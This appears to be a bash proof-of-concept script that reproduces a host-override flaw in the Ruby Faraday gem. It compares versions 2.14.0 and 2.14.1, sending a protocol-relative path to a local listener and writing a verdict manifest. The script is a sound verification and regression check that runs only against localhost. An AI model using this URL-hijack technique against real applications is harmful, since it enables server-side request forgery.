#!/bin/bash
set -euo pipefail

# Portable root detection
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO="$ROOT/repro"
mkdir -p "$LOGS"

# Install both versions of the gem (idempotent)
echo "[+] Installing faraday v2.14.0 (vulnerable)..."
gem install faraday -v 2.14.0 --no-document >/dev/null 2>&1 || true
echo "[+] Installing faraday v2.14.1 (fixed)..."
gem install faraday -v 2.14.1 --no-document >/dev/null 2>&1 || true

# Find an available port for the local HTTP listener
PORT=$(python3 -c 'import socket; s=socket.socket(); s.bind(("127.0.0.1", 0)); print(s.getsockname()[1]); s.close()')
SERVER_LOG="$LOGS/server_requests.log"

# Start a minimal HTTP server that logs every request line to a file
python3 -c "
import http.server, socketserver

class Handler(http.server.SimpleHTTPRequestHandler):
    def log_message(self, format, *args):
        with open('$SERVER_LOG', 'a') as f:
            f.write(f'{self.client_address[0]} - {format % args}\n')

with socketserver.TCPServer(('127.0.0.1', $PORT), Handler) as httpd:
    httpd.serve_forever()
" &
SERVER_PID=$!
trap 'kill $SERVER_PID 2>/dev/null || true' EXIT
sleep 1

# 192.0.2.1 is TEST-NET-1 (RFC 5737) — guaranteed non-routable, so if the
# fixed build stays on the base host the connection will fail predictably.
BASE_HOST="192.0.2.1"

# Run the Ruby test for a specific gem version and emit JSON to stdout
run_test() {
    local version=$1
    local output_file=$2

    # Clear server log before this test run
    > "$SERVER_LOG"

    ruby -e "
gem 'faraday', '$version'
require 'faraday'
require 'json'

result = {
  'version' => '$version',
  'base_host' => '$BASE_HOST',
  'listener_port' => $PORT
}

begin
  conn = Faraday.new('http://$BASE_HOST') { |f| f.adapter :net_http }
  conn.options.timeout = 3
  conn.options.open_timeout = 3

  # 1. Inspect what URL would be built
  uri = conn.build_exclusive_url('//127.0.0.1:$PORT/x')
  result['built_url']  = uri.to_s
  result['built_host'] = uri.host

  # 2. Attempt the actual request
  response = conn.get('//127.0.0.1:$PORT/x')
  result['request_status']  = response.status
  result['request_success'] = true
rescue => e
  result['request_error']   = e.class.name + ': ' + e.message
  result['request_success'] = false
end

puts JSON.pretty_generate(result)
" > "$output_file"

    # Count requests the local listener received during this run
    local req_count=0
    if [ -f "$SERVER_LOG" ]; then
        req_count=$(wc -l < "$SERVER_LOG" | tr -d ' ')
    fi
    echo "$req_count"
}

echo "[+] Testing vulnerable version (2.14.0)..."
VULN_REQS=$(run_test "2.14.0" "$LOGS/vulnerable.json")
echo "    Local listener received $VULN_REQS request(s)"

echo "[+] Testing fixed version (2.14.1)..."
FIXED_REQS=$(run_test "2.14.1" "$LOGS/fixed.json")
echo "    Local listener received $FIXED_REQS request(s)"

echo ""
echo "=== Vulnerable (2.14.0) ==="
cat "$LOGS/vulnerable.json"
echo ""
echo "=== Fixed (2.14.1) ==="
cat "$LOGS/fixed.json"
echo ""

# Parse results for verdict
VULN_HOST=$(ruby -e "require 'json'; d = JSON.parse(File.read('$LOGS/vulnerable.json')); puts d['built_host']")
FIXED_HOST=$(ruby -e "require 'json'; d = JSON.parse(File.read('$LOGS/fixed.json')); puts d['built_host']")
VULN_SUCCESS=$(ruby -e "require 'json'; d = JSON.parse(File.read('$LOGS/vulnerable.json')); puts d.fetch('request_success', false)")
FIXED_SUCCESS=$(ruby -e "require 'json'; d = JSON.parse(File.read('$LOGS/fixed.json')); puts d.fetch('request_success', false)")

echo "=== Analysis ==="
echo "Vulnerable built_host:      $VULN_HOST"
echo "Fixed built_host:           $FIXED_HOST"
echo "Vulnerable request success: $VULN_SUCCESS (listener got $VULN_REQS request(s))"
echo "Fixed request success:      $FIXED_SUCCESS (listener got $FIXED_REQS request(s))"

# Expected:
#   VULN_HOST == 127.0.0.1   (protocol-relative URL hijacks the host)
#   FIXED_HOST == 192.0.2.1  (request stays on configured base host)
#   VULN_SUCCESS == true     (request reaches the local listener)
#   FIXED_SUCCESS == false   (request stays on base host, which is non-routable)
#   VULN_REQS >= 1           (server log proves the request landed locally)
#   FIXED_REQS == 0          (server log proves the request did NOT land locally)

if [ "$VULN_HOST" = "127.0.0.1" ] && [ "$FIXED_HOST" = "$BASE_HOST" ] && \
   [ "$VULN_SUCCESS" = "true" ] && [ "$FIXED_SUCCESS" = "false" ] && \
   [ "$VULN_REQS" -ge 1 ] && [ "$FIXED_REQS" -eq 0 ]; then
    echo ""
    echo "VERDICT: VULNERABILITY CONFIRMED"
    cat > "$REPRO/runtime_manifest.json" <<EOF
{
  "verdict": "confirmed",
  "vulnerable_version": "2.14.0",
  "fixed_version": "2.14.1",
  "vulnerable_built_host": "$VULN_HOST",
  "fixed_built_host": "$FIXED_HOST",
  "vulnerable_request_succeeded": $VULN_SUCCESS,
  "fixed_request_succeeded": $FIXED_SUCCESS,
  "vulnerable_listener_requests": $VULN_REQS,
  "fixed_listener_requests": $FIXED_REQS
}
EOF
    exit 0
else
    echo ""
    echo "VERDICT: UNEXPECTED RESULTS"
    cat > "$REPRO/runtime_manifest.json" <<EOF
{
  "verdict": "unexpected",
  "vulnerable_version": "2.14.0",
  "fixed_version": "2.14.1",
  "vulnerable_built_host": "$VULN_HOST",
  "fixed_built_host": "$FIXED_HOST",
  "vulnerable_request_succeeded": $VULN_SUCCESS,
  "fixed_request_succeeded": $FIXED_SUCCESS,
  "vulnerable_listener_requests": $VULN_REQS,
  "fixed_listener_requests": $FIXED_REQS
}
EOF
    exit 1
fi
